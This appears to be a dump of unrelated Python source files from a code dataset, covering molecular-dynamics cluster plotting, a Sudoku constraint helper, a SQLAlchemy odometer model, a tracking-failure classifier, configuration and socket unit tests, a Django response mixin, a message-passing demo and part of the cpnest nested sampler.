traj_file_list,\n None,\n output_dir=os.path.join(sub_dir, \"cluster_output\"),\n **param_dict\n )\n\n if len(cluster_sizes) > 0:\n # Output cluster energy distributions\n clusters = list(np.unique(labels))\n all_cluster_energies = []\n if -1 in clusters:\n clusters.remove(-1)\n for i in clusters:\n plt.figure(figsize=[5, 5], dpi=100)\n cluster_indices = np.where(labels == i)[0]\n cluster_energies = all_energies[original_indices[cluster_indices]]\n all_cluster_energies.append(cluster_energies)\n mean_energy = np.mean(cluster_energies)\n std_energy = np.std(cluster_energies)\n color = cm.nipy_spectral(float(i) / len(clusters))\n plt.hist(cluster_energies, bins=50, color=\"red\")\n plt.xlabel(\"Mean Energy (A.E.U)\")\n plt.ylabel(\"Energy Std. Err. (A.E.U)\")\n plt.title(\"Cluster \" + str(i) + \" Energy Distribution\")\n plt.savefig(\n os.path.join(\n sub_dir, \"cluster_energy_dist_cluster_\" + str(i) + \".pdf\"\n ), bbox_inches=\"tight\"\n )\n plt.savefig(\n os.path.join(\n sub_dir, \"cluster_energy_dist_cluster_\" + str(i) + \".jpg\"\n ), bbox_inches=\"tight\"\n )\n plt.close(\"all\")\n\n fig = plt.figure(figsize=[10, 10], dpi=500)\n ax = fig.add_axes([0, 0, 1, 1])\n energy_dists = []\n for i in clusters:\n cluster_indices = np.where(labels == i)[0]\n cluster_energies = all_energies[original_indices[cluster_indices]]\n energy_dists.append(cluster_energies)\n\n parts = ax.violinplot(\n energy_dists,\n positions=cluster_rmsd,\n showextrema=False,\n showmeans=False,\n widths=0.02,\n )\n for i, pc in enumerate(parts[\"bodies\"]):\n color = cm.nipy_spectral(float(i) / len(clusters))\n pc.set_facecolor(color)\n pc.set_edgecolor(\"black\")\n pc.set_alpha(0.5)\n # quartile1, medians, quartile3 = np.percentile(energy_dists, [25, 50, 75])\n # plt.scatter(medians, marker = 'o')\n plt.xlabel(\"Cluster RMSF (A.L.U)\")\n plt.ylabel(\"Cluster Mean Energy (A.E.U)\")\n plt.legend([\"Cluster \" + str(a) for a in clusters], loc=\"best\")\n plt.savefig(os.path.join(sub_dir, \"rmsd_energy_violin_plot.pdf\"), bbox_inches=\"tight\")\n plt.savefig(os.path.join(sub_dir, \"rmsd_energy_violin_plot.jpg\"), bbox_inches=\"tight\")\n \n plt.close(\"all\")\n\n # RMSD scatter plot vs energies\n\n # Getting a trajectory with all frames\n sim_traj = []\n all_traj = None\n for job in project.find_jobs({'sc_size':sc_size}):\n job_traj = md.load(job.fn(\"trajectory.pdb\"))\n sim_traj.append(job_traj)\n if all_traj is None:\n all_traj = job_traj\n else:\n all_traj = all_traj.join(job_traj)\n\n plt.figure(figsize = [10, 10], dpi=500)\n energy_stdevs = []\n for i in clusters:\n medoid_mdtraj = md.load(os.path.join(sub_dir, \"cluster_output/medoid_\" + str(i) + \".pdb\"))\n cluster_indices = np.where(labels == i)[0]\n rmsds_medoid_i = md.rmsd(all_traj[original_indices[cluster_indices]], medoid_mdtraj)\n cluster_energies = all_energies[original_indices[cluster_indices]]\n color = cm.nipy_spectral(float(i) / len(clusters))\n plt.scatter(rmsds_medoid_i, cluster_energies, s=1, alpha=0.7, c=color)\n plt.xlabel(\"RMSD to Cluster Medoid (A.L.U)\")\n plt.ylabel(\"Cluster Energies (A.E.U)\")\n plt.legend([\"Cluster \"+ str(a) for a in clusters], loc = \"best\")\n plt.savefig(os.path.join(sub_dir, \"rmsd_energy_scatter_plot.pdf\"), bbox_inches=\"tight\")\n plt.savefig(os.path.join(sub_dir, \"rmsd_energy_scatter_plot.jpg\"), bbox_inches=\"tight\")\n\n plt.close(\"all\")\n\n # Distance matrix of each medoid structure to one another\n\n medoid_rmsd_matrix = 1\n\n cluster_output_files = os.listdir(os.path.join(sub_dir, \"cluster_output\"))\n cluster_output_files.sort()\n medoid_traj = None\n for medoid_file in cluster_output_files:\n if \"medoid\" in medoid_file:\n if medoid_traj is None:\n medoid_traj = md.load(os.path.join(sub_dir, \"cluster_output\", medoid_file))\n else:\n medoid_traj = medoid_traj.join(md.load(os.path.join(sub_dir, \"cluster_output\", medoid_file)))\n\n medoid_traj.superpose(medoid_traj)\n medoid_rmsd_matrix = np.zeros((medoid_traj.n_frames, medoid_traj.n_frames))\n\n for i in range(medoid_traj.n_frames):\n medoid_rmsd_matrix[i, :] = md.rmsd(medoid_traj, medoid_traj[i])\n\n plt.figure(figsize = [10,10])\n plt.matshow(medoid_rmsd_matrix, cmap = \"viridis\")\n ax = plt.gca()\n\n labels = [\"Medoid \" + str(i) for i in clusters]\n labels.insert(0, \"\")\n ax.set_xticklabels(labels)\n ax.set_yticklabels(labels)\n\n # for i in range(len(clusters)):\n # for j in range(len(clusters)):\n # plt.text(j, i, round(medoid_rmsd_matrix[i, j], 3), horizontalalignment='center', verticalalignment='center')\n\n\n plt.savefig(os.path.join(sub_dir, \"intermedoid_rmsd_matrix.pdf\"), bbox_inches=\"tight\")\n plt.savefig(os.path.join(sub_dir, \"intermedoid_rmsd_matrix.pdf\"), bbox_inches=\"tight\")\n plt.close(\"all\")\n\n print([\"Medoid \" + str(i) for i in clusters])\n\n # Energy statistical test \n # Z test for comparing two population means\n\n z_score_matrix = np.zeros((len(clusters), len(clusters)))\n for i in clusters:\n for j in clusters:\n if i != j:\n z_score_matrix[i,j] = compute_2_population_z_score(all_cluster_energies[i], all_cluster_energies[j])\n\n np.savetxt(os.path.join(sub_dir,\"energy_z_scores.txt\"), z_score_matrix, delimiter=',')\n print(z_score_matrix)\n\n else:\n print(\"No cluster Identified\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"examples/dynamic_annealer/analysis/energy_rmsd_clustering.py","file_name":"energy_rmsd_clustering.py","file_ext":"py","file_size_in_byte":13270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"200950462","text":"import math\n\nclass Sudoku:\n\n def __init__(self, file):\n self.file = open(file, \"r\")\n\n def return_array(self):\n array = []\n for line in self.file.read().splitlines():\n arr1 = line.split(\" \")\n for n in range(0, arr1.__len__()):\n arr1[n] = int(arr1[n])\n array.append(arr1)\n return array\n\n def return_fc_array(self):\n array = self.return_array()\n size = array.__len__()\n for y in range(size):\n for x in range(size):\n if array[y][x] == 0:\n array[y][x] = self.get_allowed(array, x, y)\n return array\n\n def get_allowed(self, sudoku, x, y):\n allowed = list(range(1, sudoku.__len__() + 1))\n size = sudoku.__len__()\n constraints = self.get_constraints(sudoku, size, x, y)\n for n in constraints:\n allowed.remove(n)\n return allowed\n\n @staticmethod\n def get_constraints(sudoku, size, x, y):\n num = []\n numbers = list(range(1, size + 1))\n for n in range(size):\n if sudoku[y][n] in numbers and sudoku[y][n] not in num:\n num.append(sudoku[y][n])\n for n in range(size):\n if sudoku[n][x] in numbers and sudoku[n][x] not in num:\n num.append(sudoku[n][x])\n blocksize = int(math.sqrt(size))\n x_blocktop = int(x / blocksize) * blocksize\n y_blocktop = int(y / blocksize) * blocksize\n for yy in range(y_blocktop, y_blocktop + blocksize):\n for xx in range(x_blocktop, x_blocktop + blocksize):\n if sudoku[yy][xx] in numbers and sudoku[yy][xx] not in num:\n num.append(sudoku[yy][xx])\n return num\n","sub_path":"practicum/utils/sudoku_importer.py","file_name":"sudoku_importer.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"283307205","text":"from modelo.BD_tacometro import _Tacometro\r\n\r\nfrom modelo.createDatabase import makeEngine\r\nfrom modelo.createDatabase import makeBase\r\n\r\n\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.sql import exists\r\n\r\n\r\nclass Tacometro:\r\n base = makeBase()\r\n\r\n eng = makeEngine()\r\n\r\n def __init__(self, id, idVehiculo, valorTacometro):\r\n\r\n self.id = id\r\n self.idVehiculo = idVehiculo\r\n self.valorTacometro = valorTacometro\r\n\r\n def eliminarByVehiculo(self, idVehiculo):\r\n print(\"ELIMINANDO TACOMETROS DE VEHICULO CON ID\", idVehiculo)\r\n Session = sessionmaker(bind=self.eng)\r\n ses = Session()\r\n try:\r\n for row in ses.query(_Tacometro):\r\n if row.idVehiculo == idVehiculo:\r\n ses.delete(row)\r\n #ses.query(_Vehiculo.nombre == name)\r\n except:\r\n print(\"no se pudo eliminar\")\r\n\r\n\r\n ses.commit()\r\n ses.close()\r\n\r\n\r\n def makeTacometro(self,db_tacometro):\r\n return Tacometro(db_tacometro.id, db_tacometro.idVehiculo,db_tacometro.valorTacometro)\r\n\r\n def addTacometro(self, idVehiculo, valorTacometro):\r\n\r\n print(\"AGREGANDO VALOR AL TACOMETRO________\")\r\n newid= self.getIdMax(self)\r\n print(\"nuevo id tacometro:\", newid)\r\n tac = _Tacometro(id = newid, idVehiculo = idVehiculo, valorTacometro = valorTacometro)\r\n res = None\r\n Session = sessionmaker(bind=self.eng)\r\n ses = Session()\r\n ses.add(tac)\r\n ses.commit()\r\n res = self.makeTacometro(self, tac)\r\n ses.close()\r\n\r\n return res\r\n\r\n def validarTacometro(self, kms, idVehiculo):\r\n value = self.getMaxValueByVehiculo(self, idVehiculo)\r\n return value >= kms\r\n\r\n def validarTacometro2(self, kms, idVehiculo):\r\n value = self.getMaxValueByVehiculo(self, idVehiculo)\r\n return value > kms\r\n\r\n def getMaxValueByVehiculo(self,idVehiculo):\r\n print(\"obteniendo el valor maximo en tacometro por vehiculo\")\r\n l = [0]\r\n Session = sessionmaker(bind=self.eng)\r\n ses = Session()\r\n for row in ses.query(_Tacometro).order_by(_Tacometro.valorTacometro):\r\n if row.idVehiculo == idVehiculo:\r\n l.append(row.valorTacometro)\r\n\r\n ses.close()\r\n print(\"valores de tacometro registrado_________\",l)\r\n return l[-1]\r\n def getValorTacByID(self, idR):\r\n\r\n res = 0\r\n Session = sessionmaker(bind=self.eng)\r\n ses = Session()\r\n for row in ses.query(_Tacometro):\r\n if row.id == idR:\r\n res = row.valorTacometro\r\n break\r\n\r\n\r\n ses.close()\r\n return res\r\n\r\n\r\n def getIdMax(self):\r\n\r\n print(\"obteniendo id maximo de tacometro para un vehiculo\")\r\n Session = sessionmaker(bind=self.eng)\r\n ses = Session()\r\n ids = [0]\r\n for id, in ses.query(_Tacometro.id).order_by(_Tacometro.id):\r\n ids.append(id)\r\n\r\n print(\"lista de ids de vehiculo:\\n\",ids)\r\n\r\n ses.close()\r\n return ids[-1] + 1# se retorna el primer elemento\r\n","sub_path":"projectoAdmVeh/negocio/tacometro.py","file_name":"tacometro.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"443853664","text":"import os\nimport glob\nimport pdb\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy import interp\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom xgboost import XGBClassifier\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import StratifiedKFold\n\n# Training\n# Reading all success\nfor idx,filepath in enumerate(glob.iglob(\"./hists_train/s/*.npy\")):\n if idx == 0:\n sarr = np.load(filepath)\n else:\n sarr = np.concatenate((sarr,np.load(filepath)), axis=1)\nsarr = sarr.transpose()\nsdf = pd.DataFrame(sarr)\nsdf['l'] = 1\n\n# Reading all failed cases\nfor idx,filepath in enumerate(glob.iglob(\"./hists_train/f/*.npy\")):\n if idx == 0:\n farr = np.load(filepath)\n else:\n farr = np.concatenate((farr,np.load(filepath)), axis=1)\nfarr = farr.transpose()\nfdf = pd.DataFrame(farr)\nfdf['l'] = 0\n\n# Combining both dataframes\ndffull = pd.concat([sdf,fdf])\n\n# Training\ntrain = dffull\n#train, test = train_test_split(dffull, test_size=0.3)\n\n# Creating X and y for training\ny = np.array(train['l'])\ntraincopy = train.copy()\nX = np.array(traincopy.drop(['l'],axis=1))\n\nn_samples, n_features = X.shape\ncv = StratifiedKFold(n_splits=10)\nclassifier = RandomForestClassifier(n_estimators=30, max_depth=13,\n random_state=0)\n\ntprs = []\naucs = []\nmean_fpr = np.linspace(0, 1, 100)\n\ni = 0\nfor train, test in cv.split(X, y):\n probas_ = classifier.fit(X[train], y[train]).predict_proba(X[test])\n # Compute ROC curve and area the curve\n fpr, tpr, thresholds = roc_curve(y[test], probas_[:, 1])\n tprs.append(interp(mean_fpr, fpr, tpr))\n tprs[-1][0] = 0.0\n roc_auc = auc(fpr, tpr)\n aucs.append(roc_auc)\n plt.plot(fpr, tpr, lw=1, alpha=0.3,\n label='ROC fold %d (AUC = %0.2f)' % (i, roc_auc))\n\n i += 1\nplt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n label='Chance', alpha=.8)\nmean_tpr = np.mean(tprs, axis=0)\nmean_tpr[-1] = 1.0\nmean_auc = auc(mean_fpr, mean_tpr)\nstd_auc = np.std(aucs)\nplt.plot(mean_fpr, mean_tpr, color='b',\n label=r'Mean ROC (AUC = %0.2f $\\pm$ %0.2f)' % (mean_auc, std_auc),\n lw=2, alpha=.8)\n\nstd_tpr = np.std(tprs, axis=0)\ntprs_upper = np.minimum(mean_tpr + std_tpr, 1)\ntprs_lower = np.maximum(mean_tpr - std_tpr, 0)\nplt.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2,\n label=r'$\\pm$ 1 std. dev.')\n\nplt.xlim([-0.05, 1.05])\nplt.ylim([-0.05, 1.05])\nplt.xlabel('False Positive Rate',fontsize=24)\nplt.ylabel('True Positive Rate',fontsize=24)\nplt.title('ROC and AUC for Random forest',fontsize=24)\nplt.legend(loc=\"lower right\",fontsize='xx-large')\n#plt.show()\n\n\n# xgboost\nmodel = XGBClassifier()\nmodel.fit(X, y)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# Testing\nfor idx,filepath in enumerate(glob.iglob(\"./hists_test/s/*.npy\")):\n if idx == 0:\n sarr = np.load(filepath)\n else:\n sarr = np.concatenate((sarr,np.load(filepath)), axis=1)\nsarr = sarr.transpose()\nsdf = pd.DataFrame(sarr)\nsdf['l'] = 1\n\n# Reading all failed cases\nfor idx,filepath in enumerate(glob.iglob(\"./hists_test/f/*.npy\")):\n if idx == 0:\n farr = np.load(filepath)\n else:\n farr = np.concatenate((farr,np.load(filepath)), axis=1)\nfarr = farr.transpose()\nfdf = pd.DataFrame(farr)\nfdf['l'] = 0\n\n# Combining both dataframes\ndffull = pd.concat([sdf,fdf])\n\n# Testing\ntest = dffull\n#train, test = train_test_split(dffull, test_size=0.3)\n\n# Creating X and y for testing\ny = np.array(test['l'])\ntestcopy = test.copy()\nX_test = np.array(testcopy.drop(['l'],axis=1))\n\n# Testing and printing stats\ny_pred = classifier.predict(X_test) # rm\ny_pred_xg = model.predict(X_test) #xgboost\n\n\n\n# Simple failure handling\n\"\"\"\nOn failure we will update current bounding box to be average of previous 21\nsuccessful bounding boxes.\n\"\"\"\n# Reading testing coordinates csv\n\ndf_full = pd.read_csv('gt_Vs_nxcorr_test.csv')\ndf_copy = df_full.as_matrix(columns=['x','y','w','h'])\ndf_gt = df_full.as_matrix(columns=['xgt','ygt','wgt','hgt'])\npoc_arr = df_full.as_matrix(columns=['poc'])\n# Dropping ground truth rows, flag, POC and index\nfor i,lab in enumerate(y_pred):\n if not(lab): # if the classifier gives failure\n j = i - 1\n num_bbox = 1\n while(j >= 0 and num_bbox < 30):\n if y_pred[j] == 1: # store bounding boxes for only success cases\n if num_bbox == 1:\n bbox_lst = [[df_full.iloc[j]['x'], df_full.iloc[j]['y'],\n df_full.iloc[j]['w'], df_full.iloc[j]['h']]]\n else:\n bbox_lst = bbox_lst +\\\n [[df_full.iloc[j]['x'], df_full.iloc[j]['y'],\n df_full.iloc[j]['w'], df_full.iloc[j]['h']]]\n j = j - 1\n num_bbox = num_bbox + 1\n bbox_arr = np.array(bbox_lst)\n print(\"-----------\")\n print(df_copy[i])\n print(df_gt[i])\n bbox_new_coords = np.rint(np.mean(bbox_arr, axis=0))\n print(bbox_new_coords)\n print(\"-----\")\n df_copy[i] = bbox_new_coords\n# Adding POC\ndf_copy = np.hstack((poc_arr, df_copy))\ndf_fail_handled = pd.DataFrame(df_copy, columns=['poc','x','y','w','h'])\ndf_fail_handled.to_csv(\"Simple_failure_handling_02-05.csv\",index=False)\n\n\n\n# cnf matrix\ncnf = confusion_matrix(y, y_pred)\nacc = accuracy_score(y, y_pred)\nprint(\"========= Random forest =========\")\nprint(cnf)\nprint(acc)\nprint(\"========= XGBoost =========\")\ncnf = confusion_matrix(y, y_pred_xg)\nacc = accuracy_score(y, y_pred_xg)\nprint(cnf)\n\n\n\nplt.show()\n","sub_path":"Long Term Tracking and Detection of Failure/Classifiers/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"53079942","text":"# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use this file except in compliance\n# with the License. A copy of the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"LICENSE.txt\" file accompanying this file. This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES\n# OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions and\n# limitations under the License.\nimport pytest\nfrom assertpy import assert_that\n\nfrom pcluster.config.pcluster_config import PclusterConfig\n\n\ndef test_update_sections(mocker, pcluster_config_reader):\n mocker.patch(\"pcluster.config.param_types.get_supported_architectures_for_instance_type\", return_value=[\"x86_64\"])\n pcluster_config = PclusterConfig(\n cluster_label=\"default\", config_file=pcluster_config_reader(), fail_on_file_absence=True, fail_on_error=True,\n )\n\n ebs1 = pcluster_config.get_section(\"ebs\", \"ebs1\")\n assert_that(ebs1).is_not_none()\n assert_that(ebs1.get_param_value(\"shared_dir\")).is_equal_to(\"ebs1\")\n assert_that(pcluster_config.get_section(\"cluster\").get_param_value(\"ebs_settings\")).is_equal_to(\"ebs1,ebs2\")\n\n # Test section re-labelling:\n # Update a section label and verify that pcluster_config_get_section() works correctly\n ebs1.label = \"ebs1_updated\"\n\n assert_that(pcluster_config.get_section(\"ebs\", \"ebs1\")).is_none()\n ebs1_updated = pcluster_config.get_section(\"ebs\", \"ebs1_updated\")\n assert_that(ebs1_updated).is_not_none()\n assert_that(ebs1_updated.get_param_value(\"shared_dir\")).is_equal_to(\"ebs1\")\n assert_that(pcluster_config.get_section(\"cluster\").get_param_value(\"ebs_settings\")).is_equal_to(\"ebs1_updated,ebs2\")\n\n # Test removing section\n # Remove a section and verify that ebs_settings param is updated accordingly\n ebs2 = pcluster_config.get_section(\"ebs\", \"ebs2\")\n pcluster_config.remove_section(ebs2.key, ebs2.label)\n assert_that(pcluster_config.get_section(\"cluster\").get_param_value(\"ebs_settings\")).is_equal_to(\"ebs1_updated\")\n\n # Test adding section\n # Add a section and verify that ebs_settings param is updated accordingly\n pcluster_config.add_section(ebs2)\n assert_that(pcluster_config.get_section(\"cluster\").get_param_value(\"ebs_settings\")).is_equal_to(\"ebs1_updated,ebs2\")\n\n # Test removing multiple sections by key\n # Removing sections by key should be prevented if there are multiple sections with the same key\n with pytest.raises(Exception):\n pcluster_config.remove_section(\"ebs\")\n","sub_path":"cli/tests/pcluster/config/test_runtime.py","file_name":"test_runtime.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"437060074","text":"import unittest\nimport random\n\nfrom commandable.server.acceptor import Acceptor\nfrom commandable.endpoint.socket import SocketEndpoint\nfrom concurrable.task import Task\nfrom concurrable.thread import ThreadedInstrumentation\n\nINSTRUMENTATION = ThreadedInstrumentation()\n\nclass AcceptTask(Task):\n\tdef __init__(self, acceptor):\n\t\tself._acceptor = acceptor\n\t\tself._endpoint = None\n\n\tdef execute(self):\n\t\tself._endpoint = self._acceptor.accept()\n\n\tdef fetch(self):\n\t\treturn self._endpoint\n\n\nclass ConnectionTest(unittest.TestCase):\n\t@classmethod\n\tdef setUpClass(cls):\n\t\tcls.executor = INSTRUMENTATION.executor()\n\n\tdef setUp(self):\n\t\tself.address = ('localhost', random.randint(2000, 20000))\n\n\tdef test_acceptor_endpoint_connect(self):\n\t\tacceptor = Acceptor.bind(self.address)\n\t\taccept_task = AcceptTask(acceptor)\n\t\taccept = self.executor.handle(accept_task)\n\t\tconnector = SocketEndpoint.connect(self.address)\n\t\taccept.wait()\n\t\treceptor = accept_task.fetch()\n\t\tself.assertIsNotNone(receptor)\n\t\tsent_packet = {'123': 234}\n\t\tconnector.send(sent_packet)\n\t\treceived_packet = receptor.receive()\n\t\tself.assertEqual(sent_packet, received_packet)\n\nif __name__ == \"__main__\":\n\tunittest.main()\n","sub_path":"src/tests/functional/test_socket.py","file_name":"test_socket.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"51849952","text":"from django.utils import timezone\nfrom rest_framework import permissions\nfrom rest_framework import mixins, viewsets\n\n\nclass StatusFieldMixin(object):\n '''\n Adds status-fields to API responses\n '''\n\n response_desc = ''\n skip_status = False\n\n def add_status_info(self, response):\n\n if not self.skip_status:\n response.data = {\n \"data\": response.data,\n \"status\": {\n \"code\": response.status_code,\n \"text\": response.status_text,\n \"desc\": self.response_desc,\n \"timestamp\": timezone.now()\n }\n }\n\n return response\n\n def dispatch(self, request, *args, **kwargs):\n response = super(StatusFieldMixin, self).dispatch(request, *args, **kwargs)\n return self.add_status_info(response)\n","sub_path":"core/api/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"73211869","text":"from process_message_system import *\nimport sys\n\nclass Consumer(MessageProc):\n\n def main(self):\n super().main()\n while True:\n self.receive(\n Message(\n 'data',\n action=lambda x: print(x)),\n Message(\n 'stop',\n action=lambda: (sys.exit())))\n\nif __name__=='__main__': # really do need this\n me = MessageProc()\n me.main()\n consumer = Consumer().start()\n\n time.sleep(1)\n for num in range(20):\n me.give(consumer, 'data', num + 1)\n me.give(consumer, 'stop')\n","sub_path":"Assignments/A1/demo_simple.py","file_name":"demo_simple.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"627874759","text":"from __future__ import division\nimport sys\nimport os\nimport logging\nimport time\nimport numpy as np\nfrom math import log\nfrom collections import deque\nfrom random import random,randrange\n\nfrom . import parameter\nfrom .proposal import DefaultProposalCycle\nfrom . import proposal\nfrom .cpnest import CheckPoint, RunManager\nfrom tqdm import tqdm\nfrom operator import attrgetter\nimport numpy.lib.recfunctions as rfn\n\nimport pickle\n__checkpoint_flag = False\n\n\nclass Sampler(object):\n \"\"\"\n Sampler class.\n ---------\n\n Initialisation arguments:\n\n args:\n model: :obj:`cpnest.Model` user defined model to sample\n\n maxmcmc:\n :int: maximum number of mcmc steps to be used in the :obj:`cnest.sampler.Sampler`\n\n ----------\n kwargs:\n\n verbose:\n :int: display debug information on screen\n Default: 0\n\n poolsize:\n :int: number of objects for the affine invariant sampling\n Default: 1000\n\n seed:\n :int: random seed to initialise the pseudo-random chain\n Default: None\n\n proposal:\n :obj:`cpnest.proposals.Proposal` to use\n Defaults: :obj:`cpnest.proposals.DefaultProposalCycle`)\n\n resume_file:\n File for checkpointing\n Default: None\n\n manager:\n :obj:`multiprocessing.Manager` hosting all communication objects\n Default: None\n \"\"\"\n\n def __init__(self,\n model,\n maxmcmc,\n seed = None,\n output = None,\n verbose = False,\n poolsize = 1000,\n proposal = None,\n resume_file = None,\n manager = None):\n\n self.seed = seed\n self.model = model\n self.initial_mcmc = maxmcmc//10\n self.maxmcmc = maxmcmc\n self.resume_file = resume_file\n self.manager = manager\n self.logLmin = self.manager.logLmin\n self.logLmax = self.manager.logLmax\n\n self.logger = logging.getLogger('CPNest')\n\n if proposal is None:\n self.proposal = DefaultProposalCycle()\n else:\n self.proposal = proposal\n\n self.Nmcmc = self.initial_mcmc\n self.Nmcmc_exact = float(self.initial_mcmc)\n\n self.poolsize = poolsize\n self.evolution_points = deque(maxlen = self.poolsize)\n self.verbose = verbose\n self.acceptance = 0.0\n self.sub_acceptance = 0.0\n self.mcmc_accepted = 0\n self.mcmc_counter = 0\n self.initialised = False\n self.output = output\n self.samples = [] # the list of samples from the mcmc chain\n self.producer_pipe, self.thread_id = self.manager.connect_producer()\n self.last_checkpoint_time = time.time()\n\n def reset(self):\n \"\"\"\n Initialise the sampler by generating :int:`poolsize` `cpnest.parameter.LivePoint`\n and distributing them according to :obj:`cpnest.model.Model.log_prior`\n \"\"\"\n np.random.seed(seed=self.seed)\n for n in tqdm(range(self.poolsize), desc='SMPLR {} init draw'.format(self.thread_id),\n disable= not self.verbose, position=self.thread_id, leave=False):\n while True: # Generate an in-bounds sample\n p = self.model.new_point()\n p.logP = self.model.log_prior(p)\n if np.isfinite(p.logP): break\n p.logL=self.model.log_likelihood(p)\n if p.logL is None or not np.isfinite(p.logL):\n self.logger.warning(\"Received non-finite logL value {0} with parameters {1}\".format(str(p.logL), str(p)))\n self.logger.warning(\"You may want to check your likelihood function to improve sampling\")\n self.evolution_points.append(p)\n\n self.proposal.set_ensemble(self.evolution_points)\n\n # Now, run evolution so samples are drawn from actual prior\n for k in tqdm(range(self.poolsize), desc='SMPLR {} init evolve'.format(self.thread_id),\n disable= not self.verbose, position=self.thread_id, leave=False):\n _, p = next(self.yield_sample(-np.inf))\n if self.verbose >= 3:\n # save the poolsize as prior samples\n \n prior_samples = []\n for k in tqdm(range(self.maxmcmc), desc='SMPLR {} generating prior samples'.format(self.thread_id),\n disable= not self.verbose, position=self.thread_id, leave=False):\n _, p = next(self.yield_sample(-np.inf))\n prior_samples.append(p)\n prior_samples = rfn.stack_arrays([prior_samples[j].asnparray()\n for j in range(0,len(prior_samples))],usemask=False)\n np.savetxt(os.path.join(self.output,'prior_samples_%s.dat'%os.getpid()),\n prior_samples.ravel(),header=' '.join(prior_samples.dtype.names),\n newline='\\n',delimiter=' ')\n self.logger.critical(\"Sampler process {0!s}: saved {1:d} prior samples in {2!s}\".format(os.getpid(),self.maxmcmc,'prior_samples_%s.dat'%os.getpid()))\n self.prior_samples = prior_samples\n self.proposal.set_ensemble(self.evolution_points)\n self.initialised=True\n\n def estimate_nmcmc(self, safety=5, tau=None):\n \"\"\"\n Estimate autocorrelation length of chain using acceptance fraction\n ACL = (2/acc) - 1\n multiplied by a safety margin of 5\n Uses moving average with decay time tau iterations\n (default: :int:`self.poolsize`)\n\n Taken from http://github.com/farr/Ensemble.jl\n \"\"\"\n if tau is None: tau = self.poolsize/safety\n\n if self.sub_acceptance == 0.0:\n self.Nmcmc_exact = (1.0 + 1.0/tau)*self.Nmcmc_exact\n else:\n self.Nmcmc_exact = (1.0 - 1.0/tau)*self.Nmcmc_exact + (safety/tau)*(2.0/self.sub_acceptance - 1.0)\n\n self.Nmcmc_exact = float(min(self.Nmcmc_exact,self.maxmcmc))\n self.Nmcmc = max(safety,int(self.Nmcmc_exact))\n\n return self.Nmcmc\n\n def produce_sample(self):\n try:\n self._produce_sample()\n except CheckPoint:\n self.logger.critical(\"Checkpoint excepted in sampler\")\n self.checkpoint()\n\n def _produce_sample(self):\n \"\"\"\n main loop that takes the worst :obj:`cpnest.parameter.LivePoint` and\n evolves it. Proposed sample is then sent back\n to :obj:`cpnest.NestedSampler`.\n \"\"\"\n if not self.initialised:\n self.reset()\n\n self.counter=1\n __checkpoint_flag=False\n while True:\n\n if self.manager.checkpoint_flag.value:\n self.checkpoint()\n sys.exit(130)\n\n if self.logLmin.value==np.inf:\n break\n\n if time.time() - self.last_checkpoint_time > self.manager.periodic_checkpoint_interval:\n self.checkpoint()\n self.last_checkpoint_time = time.time()\n\n # if the nested sampler is requesting for an update\n # produce a sample for it\n if self.producer_pipe.poll():\n p = self.producer_pipe.recv()\n\n if p is None:\n break\n if p == \"checkpoint\":\n self.checkpoint()\n sys.exit(130)\n\n self.evolution_points.append(p)\n (Nmcmc, outParam) = next(self.yield_sample(self.logLmin.value))\n # Send the sample to the Nested Sampler\n self.producer_pipe.send((self.acceptance,self.sub_acceptance,Nmcmc,outParam))\n \n # otherwise, keep on sampling from the previous boundary\n else:\n (Nmcmc, outParam) = next(self.yield_sample(self.logLmin.value))\n # Update the ensemble every now and again\n if (self.counter%(self.poolsize//4))==0:\n self.proposal.set_ensemble(self.evolution_points)\n\n self.counter += 1\n\n self.logger.critical(\"Sampler process {0!s}: MCMC samples accumulated = {1:d}\".format(os.getpid(),len(self.samples)))\n# self.samples.extend(self.evolution_points)\n \n if self.verbose >=3:\n \n self.mcmc_samples = rfn.stack_arrays([self.samples[j].asnparray()\n for j in range(0,len(self.samples))],usemask=False)\n np.savetxt(os.path.join(self.output,'mcmc_chain_%s.dat'%os.getpid()),\n self.mcmc_samples.ravel(),header=' '.join(self.mcmc_samples.dtype.names),\n newline='\\n',delimiter=' ')\n self.logger.critical(\"Sampler process {0!s}: saved {1:d} mcmc samples in {2!s}\".format(os.getpid(),len(self.samples),'mcmc_chain_%s.dat'%os.getpid()))\n self.logger.critical(\"Sampler process {0!s} - mean acceptance {1:.3f}: exiting\".format(os.getpid(), float(self.mcmc_accepted)/float(self.mcmc_counter)))\n return 0\n\n def checkpoint(self):\n \"\"\"\n Checkpoint its 